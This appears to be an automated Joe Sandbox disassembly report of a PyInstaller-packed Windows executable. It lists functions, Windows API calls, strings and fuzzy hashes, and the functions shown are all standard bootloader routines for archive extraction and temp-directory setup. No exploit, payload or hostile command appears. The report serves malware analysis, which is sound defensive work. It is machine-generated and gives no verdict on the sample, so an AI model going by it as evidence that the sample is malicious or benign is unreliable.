String ID: Could not create temporary directory!$Could not load PyInstaller's embedded PKG archive from the executable (%s)$Could not side-load PyInstaller's PKG archive from external file (%s)$Failed to convert DLL search path!$Failed to initialize security descriptor for temporary directory!$Failed to load Tcl/Tk shared libraries for splash screen!$Failed to load splash screen resources!$Failed to remove temporary directory: %s$Failed to start splash screen!$Failed to unpack splash screen dependencies from PKG archive!$Invalid value in _PYI_PARENT_PROCESS_LEVEL: %s$MEI$PYINSTALLER_RESET_ENVIRONMENT$PYINSTALLER_STRICT_UNPACK_MODE$PYINSTALLER_SUPPRESS_SPLASH_SCREEN$Path exceeds PYI_PATH_MAX limit.$Py_GIL_DISABLED$VCRUNTIME140.dll$_PYI_APPLICATION_HOME_DIR$_PYI_APPLICATION_HOME_DIR not set for onefile child process!$_PYI_ARCHIVE_FILE$_PYI_PARENT_PROCESS_LEVEL$_PYI_SPLASH_IPC$hide-early$hide-late$minimize-early$minimize-late$pkg$pyi-contents-directory$pyi-hide-console$pyi-python-flag$pyi-runtime-tmpdir
API String ID: 2776309574-3325264605
Opcode ID: b4b4dbeb28df93a5be3342d5908feaea44031de2a35d0655323eabd831b818df
Instruction ID: 485002241ddc41f1127d4ae705914279984238f96a91d9afd5a3a382b60fa26d
Opcode Fuzzy Hash: b4b4dbeb28df93a5be3342d5908feaea44031de2a35d0655323eabd831b818df
Instruction Fuzzy Hash: D5428E32E0C68291FB35AB22E4542F96791FF5578CF8440B6DA9EC22D7EEACE544D300

Function 00007FF6929E1930 Relevance: 22.9, APIs: 2, Strings: 11, Instructions: 184
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF6929E73E0: _fread_nolock.LIBCMT ref: 00007FF6929E748A

_fread_nolock.LIBCMT ref: 00007FF6929E19FB

Part of subcall function 00007FF6929E2020: GetCurrentProcessId.KERNEL32(?,?,?,?,00000000,00000000,?,00000000,00007FF6929E1B4A), ref: 00007FF6929E2070

Strings

malloc, xrefs: 00007FF6929E1B02
Could not allocate buffer for TOC!, xrefs: 00007FF6929E1AFB
Failed to seek to cookie position!, xrefs: 00007FF6929E19CE
fseek, xrefs: 00007FF6929E19D5
Could not read full TOC!, xrefs: 00007FF6929E1B35
Could not allocate memory for archive structure!, xrefs: 00007FF6929E1A41
fread, xrefs: 00007FF6929E1A12, 00007FF6929E1B3C
Error on file., xrefs: 00007FF6929E1B6D
MEI, xrefs: 00007FF6929E1971
calloc, xrefs: 00007FF6929E1A48
Failed to read cookie!, xrefs: 00007FF6929E1A0B

Memory Dump Source

Source File: 00000000.00000002.2156221336.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000000.00000002.2155591125.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156257166.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156412753.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: _fread_nolock$CurrentProcess
String ID: Could not allocate buffer for TOC!$Could not allocate memory for archive structure!$Could not read full TOC!$Error on file.$Failed to read cookie!$Failed to seek to cookie position!$MEI$calloc$fread$fseek$malloc
API String ID: 2397952137-3497178890
Opcode ID: e9c3468902521555618a251eca6669e85ab7d655e506884ae77ddb89a731c4ab
Instruction ID: f4fcc74a98188a34d42582426d408627d83c90bcc4e27367e6fab3231c6c0b05
Opcode Fuzzy Hash: e9c3468902521555618a251eca6669e85ab7d655e506884ae77ddb89a731c4ab
Instruction Fuzzy Hash: DD816072A09A8686FB70DB16D0502F923A1FF4978CF444076EA8DC779BDEBCE9458740

Function 00007FF6929E15E0 Relevance: 22.9, APIs: 1, Strings: 12, Instructions: 145
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

malloc, xrefs: 00007FF6929E1729
fopen, xrefs: 00007FF6929E1643
fseek, xrefs: 00007FF6929E16C1
Failed to extract %s: failed to write data chunk!, xrefs: 00007FF6929E17AA
fwrite, xrefs: 00007FF6929E17B1
Failed to extract %s: failed to seek to the entry's data!, xrefs: 00007FF6929E16BA
Failed to extract %s: failed to read data chunk!, xrefs: 00007FF6929E17BF
fread, xrefs: 00007FF6929E17C6
Failed to extract %s: failed to open target file!, xrefs: 00007FF6929E163C
Failed to extract %s: failed to open archive file!, xrefs: 00007FF6929E1682
Failed to create symbolic link %s!, xrefs: 00007FF6929E1602
Failed to extract %s: failed to allocate temporary buffer!, xrefs: 00007FF6929E1722

Memory Dump Source

Source File: 00000000.00000002.2156221336.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000000.00000002.2155591125.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156257166.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156412753.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: CurrentProcess
String ID: Failed to create symbolic link %s!$Failed to extract %s: failed to allocate temporary buffer!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to open target file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$Failed to extract %s: failed to write data chunk!$fopen$fread$fseek$fwrite$malloc
API String ID: 2050909247-1550345328
Opcode ID: d05a3174a90859401fea96a0e9352b03fa0b5d0b0f5cf1fa0293fa9cf5a8a0a4
Instruction ID: 63ad92b4c5e9523cead14756e13a9c675d3af58b6d7bbc1c098c6b8001847a2f
Opcode Fuzzy Hash: d05a3174a90859401fea96a0e9352b03fa0b5d0b0f5cf1fa0293fa9cf5a8a0a4
Instruction Fuzzy Hash: F0516C72B08A4392FB30AB1294511BA63A1FF45B9CF4441B2EE0D87797DEBDE955C700

Function 00007FF6929E7AB0 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 116
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTempPathW.KERNEL32(FFFFFFFF,00000000,?,00007FF6929E3101), ref: 00007FF6929E7B54
GetCurrentProcessId.KERNEL32(?,00007FF6929E3101), ref: 00007FF6929E7B5A
CreateDirectoryW.KERNELBASE(?,00007FF6929E3101), ref: 00007FF6929E7B9C

Part of subcall function 00007FF6929E7C80: GetEnvironmentVariableW.KERNEL32(00007FF6929E2C4F), ref: 00007FF6929E7CB7
Part of subcall function 00007FF6929E7C80: ExpandEnvironmentStringsW.KERNEL32 ref: 00007FF6929E7CD9

Part of subcall function 00007FF6929F9114: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6929F912D

Strings

TMP, xrefs: 00007FF6929E7B12
LOADER: failed to set the TMP environment variable., xrefs: 00007FF6929E7B2C
_MEI%d, xrefs: 00007FF6929E7B62
TMP, xrefs: 00007FF6929E7AEC, 00007FF6929E7BF3
LOADER: length of teporary directory path exceeds maximum path length!, xrefs: 00007FF6929E7BCE

Memory Dump Source

Source File: 00000000.00000002.2156221336.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000000.00000002.2155591125.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156257166.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156412753.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: Environment$CreateCurrentDirectoryExpandPathProcessStringsTempVariable_invalid_parameter_noinfo
String ID: LOADER: failed to set the TMP environment variable.$LOADER: length of teporary directory path exceeds maximum path length!$TMP$TMP$_MEI%d
API String ID: 365913792-1339014028
Opcode ID: f3273f3d93b4370bc37173b7eaaf61b6c15f57638ffcf23e2354b18da0bd52c9
Instruction ID: 3503bae8af88790dae1227bea7c25796345834dc20e48740583a2f769c6ded63
Opcode Fuzzy Hash: f3273f3d93b4370bc37173b7eaaf61b6c15f57638ffcf23e2354b18da0bd52c9
Instruction Fuzzy Hash: 16419E32A1964251FB70EB27A8592FA1391FF85788F4440B1ED0DC7797EEBCE9058241

Function 00007FF6929E11F0 Relevance: 12.4, APIs: 1, Strings: 6, Instructions: 158
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

malloc, xrefs: 00007FF6929E12A1, 00007FF6929E12D6
Failed to extract %s: failed to allocate temporary output buffer!, xrefs: 00007FF6929E12CF
Failed to extract %s: failed to allocate temporary input buffer!, xrefs: 00007FF6929E129A
Failed to extract %s: inflateInit() failed with return code %d!, xrefs: 00007FF6929E1256
1.3.1, xrefs: 00007FF6929E1229
Failed to extract %s: decompression resulted in return code %d!, xrefs: 00007FF6929E13FE

Memory Dump Source

Source File: 00000000.00000002.2156221336.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000000.00000002.2155591125.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156257166.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156412753.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: CurrentProcess
String ID: 1.3.1$Failed to extract %s: decompression resulted in return code %d!$Failed to extract %s: failed to allocate temporary input buffer!$Failed to extract %s: failed to allocate temporary output buffer!$Failed to extract %s: inflateInit() failed with return code %d!$malloc
API String ID: 2050909247-2813020118
Opcode ID: c767c8624a844fc3a6c994365fe1efa40bde488381a9e214cbf2d7cbba15fe36
Instruction ID: 06729067873400742a27b31b40e9c0dbd9cdab93e23cb7f5ab111b9d52400d0a
Opcode Fuzzy Hash: c767c8624a844fc3a6c994365fe1efa40bde488381a9e214cbf2d7cbba15fe36
Instruction Fuzzy Hash: 60518D72A08A8281FB70AB52A8403BA6391FF8579CF544175ED4D87BD7EEBCE945C700

Function 00007FF6929FFF1C Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(?,?,?,00007FF692A002B6,?,?,-00000018,00007FF6929FBBFB,?,?,?,00007FF6929FBAF2,?,?,?,00007FF6929F6E9E), ref: 00007FF692A00098
GetProcAddress.KERNEL32(?,?,?,00007FF692A002B6,?,?,-00000018,00007FF6929FBBFB,?,?,?,00007FF6929FBAF2,?,?,?,00007FF6929F6E9E), ref: 00007FF692A000A4

Strings

api-ms-, xrefs: 00007FF6929FFFE2
ext-ms-, xrefs: 00007FF6929FFFF5

Memory Dump Source

Source File: 00000000.00000002.2156221336.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000000.00000002.2155591125.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156257166.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156412753.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: aadbaee7c76e5d54b6d4897acaf79a0667e5faa90471c45c14db321705774b03
Instruction ID: f2872f9bcb8f0dbd0a4d3fbe87ea54bd999d415b058173ea1a493514937d1f17
Opcode Fuzzy Hash: aadbaee7c76e5d54b6d4897acaf79a0667e5faa90471c45c14db321705774b03
Instruction Fuzzy Hash: 2B411663B1AA4281FB35DF16A800AB52391FF4ABA8F094175DD0DD7785DEBDE845C308

Function 00007FF6929E2A70 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 61
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32(?,00007FF6929E2BC5), ref: 00007FF6929E2AA1
GetLastError.KERNEL32(?,00007FF6929E2BC5), ref: 00007FF6929E2AAB

Part of subcall function 00007FF6929E2310: GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,00007FF6929E2AC6,?,00007FF6929E2BC5), ref: 00007FF6929E2360
Part of subcall function 00007FF6929E2310: FormatMessageW.KERNEL32(?,?,?,?,?,?,?,?,00007FF6929E2AC6,?,00007FF6929E2BC5), ref: 00007FF6929E241A

Strings

GetModuleFileNameW, xrefs: 00007FF6929E2ABA
Failed to convert executable path to UTF-8., xrefs: 00007FF6929E2B50
Failed to resolve full path to executable %ls., xrefs: 00007FF6929E2AF9
\\?\, xrefs: 00007FF6929E2B1A
Failed to obtain executable path., xrefs: 00007FF6929E2AB3

Memory Dump Source

Source File: 00000000.00000002.2156221336.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000000.00000002.2155591125.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156257166.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156412753.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: CurrentErrorFileFormatLastMessageModuleNameProcess
String ID: Failed to convert executable path to UTF-8.$Failed to obtain executable path.$Failed to resolve full path to executable %ls.$GetModuleFileNameW$\\?\
API String ID: 4002088556-2863816727
Opcode ID: aed140f8d8e2637361ba54921802919f4f3b7eb641456186ceb893f60fbbd120
Instruction ID: 11d526cfcfc1538a9df3a369e74cdbcc503ac378eae4b6544f19369fb303a14a
Opcode Fuzzy Hash: aed140f8d8e2637361ba54921802919f4f3b7eb641456186ceb893f60fbbd120
Instruction Fuzzy Hash: 15218172F1864281FB309B22E8543BA2350FF5938CF8001B6E65EC65E7EEACE5048744

Function 00007FF6929FC8FC Relevance: 10.8, APIs: 7, Instructions: 290
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6929FCD29

Memory Dump Source

Source File: 00000000.00000002.2156221336.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000000.00000002.2155591125.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156257166.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156412753.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: e93ed7a31f68c532dbd80e14518cadf7dab422dd0c3a13bad048ec9ed5af6547
Instruction ID: b64841a5d9afe7bcb7050433201643660f9e7df18d1f7fde6f06193ad34ba1c7
Opcode Fuzzy Hash: e93ed7a31f68c532dbd80e14518cadf7dab422dd0c3a13bad048ec9ed5af6547
Instruction Fuzzy Hash: E4C19F2290868641F7B1DB16A4442FE6B50EF81B88F5581B5EA4E87793DEBCEC45E700

Function 00007FF6929E79C0 Relevance: 10.6, APIs: 7, Instructions: 63
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 00007FF6929E79E0
OpenProcessToken.ADVAPI32 ref: 00007FF6929E79F3
GetTokenInformation.KERNELBASE ref: 00007FF6929E7A18
GetLastError.KERNEL32 ref: 00007FF6929E7A22
GetTokenInformation.KERNELBASE ref: 00007FF6929E7A62
ConvertSidToStringSidW.ADVAPI32 ref: 00007FF6929E7A7E
CloseHandle.KERNEL32 ref: 00007FF6929E7A96

Memory Dump Source

Source File: 00000000.00000002.2156221336.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000000.00000002.2155591125.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156257166.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156412753.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: Token$InformationProcess$CloseConvertCurrentErrorHandleLastOpenString
String ID:
API String ID: 995526605-0
Opcode ID: 1d53d6d9a09d765e47c497b0d6d615a887cb0773de01ad6b7486372e5d5147f3
Instruction ID: 17b812c73b117ad5fe1e4f35c775c76404b6d42868a9f99b9fac1120e3ca6042
Opcode Fuzzy Hash: 1d53d6d9a09d765e47c497b0d6d615a887cb0773de01ad6b7486372e5d5147f3
Instruction Fuzzy Hash: CC21D832A0CA4242FB209B16F44867EA7A1FF857A8F500275E66DC3AE5DFFCD5458700

Function 00007FF6929E8580 Relevance: 9.1, APIs: 2, Strings: 4, Instructions: 64
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF6929E79C0: GetCurrentProcess.KERNEL32 ref: 00007FF6929E79E0
Part of subcall function 00007FF6929E79C0: OpenProcessToken.ADVAPI32 ref: 00007FF6929E79F3
Part of subcall function 00007FF6929E79C0: GetTokenInformation.KERNELBASE ref: 00007FF6929E7A18
Part of subcall function 00007FF6929E79C0: GetLastError.KERNEL32 ref: 00007FF6929E7A22
Part of subcall function 00007FF6929E79C0: GetTokenInformation.KERNELBASE ref: 00007FF6929E7A62
Part of subcall function 00007FF6929E79C0: ConvertSidToStringSidW.ADVAPI32 ref: 00007FF6929E7A7E
Part of subcall function 00007FF6929E79C0: CloseHandle.KERNEL32 ref: 00007FF6929E7A96

LocalFree.KERNEL32(00000000,00007FF6929E3099), ref: 00007FF6929E860C
LocalFree.KERNEL32 ref: 00007FF6929E8615

Strings

D:(A;;FA;;;%s)(A;;FA;;;%s), xrefs: 00007FF6929E85E2
Security descriptor string length exceeds PYI_PATH_MAX!, xrefs: 00007FF6929E8623
S-1-3-4, xrefs: 00007FF6929E85C1
D:(A;;FA;;;%s), xrefs: 00007FF6929E85F7

Memory Dump Source

Source File: 00000000.00000002.2156221336.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000000.00000002.2155591125.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156257166.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156412753.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: Token$FreeInformationLocalProcess$CloseConvertCurrentErrorHandleLastOpenString
String ID: D:(A;;FA;;;%s)$D:(A;;FA;;;%s)(A;;FA;;;%s)$S-1-3-4$Security descriptor string length exceeds PYI_PATH_MAX!
API String ID: 6828938-1529539262
Opcode ID: adc432e05c3c573e6ed13a0ece6c243bdb52cb2c57461f69188002d76d144bb7
Instruction ID: 86c7e3613007b0e7efd51fc797a73ed13826cb4c265862dcec613e3ad2f7362e
Opcode Fuzzy Hash: adc432e05c3c573e6ed13a0ece6c243bdb52cb2c57461f69188002d76d144bb7
Instruction Fuzzy Hash: 71215172A0874681F770AB52E8152FA6350FF89788F8440B1EA4ED77A7DFBCD9448780

Function 00007FF6929E7270 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 81COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNELBASE(00000000,?,00007FF6929E28EC,FFFFFFFF,00000000,00007FF6929E3362), ref: 00007FF6929E7382

Strings

%s%c, xrefs: 00007FF6929E72F4
%.*s, xrefs: 00007FF6929E733B
\, xrefs: 00007FF6929E72E7

Memory Dump Source

Source File: 00000000.00000002.2156221336.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000000.00000002.2155591125.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156257166.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156412753.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: CreateDirectory
String ID: %.*s$%s%c$\
API String ID: 4241100979-1685191245
Opcode ID: d6b0fa5a9360523a913fa8a1ec13b0d7e89b388012948b944b947363b6689328
Instruction ID: d1b8a597d932bc7f7ad910645cdc2e6ffef38fb117d30a5ba1ebab7ac9606c9c
Opcode Fuzzy Hash: d6b0fa5a9360523a913fa8a1ec13b0d7e89b388012948b944b947363b6689328
Instruction Fuzzy Hash: FA31C331619AC695FB719B22E8507FA6354FB84BE8F401270EEAD877CADE6CD6058700

Function 00007FF6929FDE00 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6929FDDEB), ref: 00007FF6929FDF1C
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6929FDDEB), ref: 00007FF6929FDFA7

Memory Dump Source

Source File: 00000000.00000002.2156221336.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000000.00000002.2155591125.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156257166.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156412753.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: 72bdbade8f7f3669228eabd23d25320e309643dcfe9983c62a88d960f5e90d12
Instruction ID: abcfd1a2b546c272d4bf29954f79576271bced82bc48382c3a7ed68c04a9a8a1
Opcode Fuzzy Hash: 72bdbade8f7f3669228eabd23d25320e309643dcfe9983c62a88d960f5e90d12
Instruction Fuzzy Hash: FB91EB22E1865189F7B0AF2694406FE2BA0FB0578CF1441B5EE4E97A96DFBCD841E710

Function 00007FF692A00B9C Relevance: 6.2, APIs: 4, Instructions: 161COMMON

Download Yara Rule

APIs

_get_daylight.LIBCMT ref: 00007FF692A00C8C
_get_daylight.LIBCMT ref: 00007FF692A00C9D
_get_daylight.LIBCMT ref: 00007FF692A00CAE
_isindst.LIBCMT ref: 00007FF692A00D79

Memory Dump Source

Source File: 00000000.00000002.2156221336.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000000.00000002.2155591125.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156257166.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156412753.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: _get_daylight$_isindst
String ID:
API String ID: 4170891091-0
Opcode ID: 1e65149fea67db38c583cbef9075d189eb690351c339e1a8e9f7c5b338f54ae1
Instruction ID: fbe89ace6dfd04b60a8a8a5857b103f7e4b2429ad6aea744c619477bc13570d0
Opcode Fuzzy Hash: 1e65149fea67db38c583cbef9075d189eb690351c339e1a8e9f7c5b338f54ae1
Instruction Fuzzy Hash: 8651F273F452128AFB38DF6499956BD27A1EB0236CF500275EE1E92AE5DF78B4428700

Function 00007FF6929F66D8 Relevance: 6.1, APIs: 4, Instructions: 119pipeCOMMON

Download Yara Rule

APIs

GetFileType.KERNELBASE ref: 00007FF6929F670B
GetFileInformationByHandle.KERNELBASE ref: 00007FF6929F676D
GetLastError.KERNEL32 ref: 00007FF6929F67FE
PeekNamedPipe.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6929F6610), ref: 00007FF6929F684A

Memory Dump Source

Source File: 00000000.00000002.2156221336.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000000.00000002.2155591125.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156257166.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156412753.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: File$ErrorHandleInformationLastNamedPeekPipeType
String ID:
API String ID: 2780335769-0
Opcode ID: 2098e5f6de0f7e50bdb4352e15a936ae1feba881fee5d8bf368006b361928848
Instruction ID: c3d913071b84f9a50f7b782221daf76038d0244198d443fc55e9ac648bbba86b
Opcode Fuzzy Hash: 2098e5f6de0f7e50bdb4352e15a936ae1feba881fee5d8bf368006b361928848
Instruction Fuzzy Hash: B6517E22E187418AFB64DF76D4503BE23A1EF48B5CF108578EE1D8B68ADFB8D8519740

Function 00007FF6929F6584 Relevance: 6.1, APIs: 4, Instructions: 90fileCOMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6929F65B1
CreateFileW.KERNELBASE ref: 00007FF6929F65F0
CloseHandle.KERNEL32 ref: 00007FF6929F6625

Memory Dump Source

Source File: 00000000.00000002.2156221336.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000000.00000002.2155591125.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156257166.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A24000.00000004.00000001.01000000.00000003.sdmpDownload File
